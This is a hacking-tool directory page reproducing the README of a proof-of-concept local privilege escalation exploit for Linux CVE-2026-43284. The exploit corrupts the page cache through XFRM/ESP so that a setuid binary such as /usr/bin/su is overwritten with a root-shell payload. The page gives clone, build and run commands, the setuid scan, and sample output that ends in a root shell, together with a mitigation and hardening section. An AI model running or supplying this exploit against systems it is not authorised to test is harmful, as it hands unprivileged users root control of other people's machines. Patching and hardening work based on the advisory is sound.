Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-43284-DirtyFrag-PoC — Proof-of-concept for CVE-2026-43284 — 4-byte XFRM/ESP page-cache write primitive to patch a setuid binary (x86_64, user namespaces). Includes kernel preflight + SUID scan. | Kitploit
Tools/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

Proof-of-concept for CVE-2026-43284 — 4-byte XFRM/ESP page-cache write primitive to patch a setuid binary (x86_64, user namespaces). Includes kernel preflight + SUID scan.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
1183 months agoNot yet reviewed

CVE-2026-43284 — 4-byte XFRM/ESP

CVE Platform Type Status

Proof-of-concept local privilege escalation via XFRM/ESP page-cache corruption
4-byte write primitive · 48 iterations · 192-byte ELF overwrite · unprivileged user + netns


Proof of concept

Preflight checks and exploit phases on WSL2 Ubuntu 24.04 Successful root shell with uid=0 verification

Left: kernel preflight, setuid scan, and exploit chain  ·  Right: root shell spawned — id / whoami confirm uid=0(root)
Tested on WSL2 · Ubuntu 24.04.1 LTS · kernel 6.6.87.2-microsoft-standard-WSL2


  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

Disclaimer: For authorized security research, education, and testing on systems you own or have explicit permission to test only. The authors are not responsible for misuse.


Overview

CVECVE-2026-43284
TypeLocal privilege escalation (LPE)
VectorXFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) page-cache corruption
Primitive4 bytes per iteration (ESN seq_hi)
Payload192-byte x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh"))
Default target/usr/bin/su
Architecturex86_64 only
Privileges requiredUnprivileged user (uses user + network namespaces)

Works even when algif_aead is blacklisted — the exploit uses the kernel XFRM/ESP code path directly.


Features

Built-in preflight checks before exploitation:

  1. Kernel config — verifies CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP
    (reads /boot/config-*, /lib/modules/*/config, or /proc/config.gz on WSL2)
  2. Setuid scan — lists SUID binaries on the system (find / -perm -4000)
  3. Exploit — patches page cache, spawns root shell via PTY, restores target on exit

Requirements

Kernel options

CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # or =y

Quick check:

# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

Other

  • Linux kernel vulnerable to CVE-2026-43284 (see Patch status)
  • gcc, libc, libutil (for forkpty)
  • Readable setuid target binary (default: /usr/bin/su)

Build

git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

Or manually:

gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 is intentional — optimization can break timing-sensitive splice/UDP behavior.


Usage

1. Confirm you are unprivileged

id
# uid=1000(youruser) gid=1000(youruser) groups=...

2. Run the exploit

./sley-dirtyfrag                  # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # custom setuid binary

The tool runs three automated phases:

PhaseWhat it does
1Kernel config preflight (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP)
2Full-system setuid binary scan; highlights default target
3Backup target → patch page cache (48× 4-byte writes) → spawn root shell

3. Verify root access

Inside the spawned shell:

id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. Exit to restore

Press Ctrl+D or type exit. The PoC drops the page cache so the original on-disk binary is restored automatically.

If restore fails:

echo 3 | sudo tee /proc/sys/vm/drop_caches

Command reference

CommandDescription
./sley-dirtyfragExploit /usr/bin/su (default)
./sley-dirtyfrag /path/to/suidExploit a custom setuid binary
makeBuild sley-dirtyfrag
make cleanRemove binary

Example output

┌─[ phase 1] kernel config preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (required =y)
  [+] CONFIG_XFRM           = y  (required =y)
  [+] CONFIG_INET_ESP       = m  (required =m or =y)
  kernel options OK.

┌─[ phase 2] setuid binary scan
  10 /usr/bin/su  ← target
  found 14 setuid binaries.

┌─[ phase 3] exploit
  [*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
  [+] corrupt               all iterations done
  [+] verify                ELF patch detected

  ╔══════════════════════════════════════╗
  ║  root shell — exit to restore        ║
  ╚══════════════════════════════════════╝

Mitigation

Apply the kernel patch (recommended)

Fixed inf4c50a4034e6 (mainline, May 8 2026)
Introducedcac2661c53f3 (Jan 2017)

Action: Upgrade to a distro kernel that includes the fix, or build from a patched mainline tree.

# check your running kernel
uname -r

# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

Hardening options (defense in depth)

MeasureEffect
Patch / upgrade kernelEliminates the underlying page-cache write bug
Restrict user namespacesBlocks this PoC (requires CONFIG_USER_NS)
Remove unneeded setuid binariesReduces viable targets (chmod u-s, or uninstall)
Lockdown / LSM (SELinux, AppArmor)May limit post-exploitation impact depending on policy
Monitor XFRM + UDP/4500Detect anomalous SA registration and ESP-in-UDP traffic from unprivileged namespaces

Restrict unprivileged user namespaces

This exploit depends on unshare(CLONE_NEWUSER | CLONE_NEWNET) without root.

# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0

# or disable at build time
# CONFIG_USER_NS is not set

Note: Disabling user namespaces blocks this PoC but not necessarily CVE-2026-43500 (rxrpc variant for systems without userns).

Audit setuid binaries

find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need

Drop caches after suspected compromise

If you believe a setuid binary was patched in memory:

echo 3 | sudo tee /proc/sys/vm/drop_caches
# re-verify binary integrity from package manager / known-good hash

How it works

Download Tool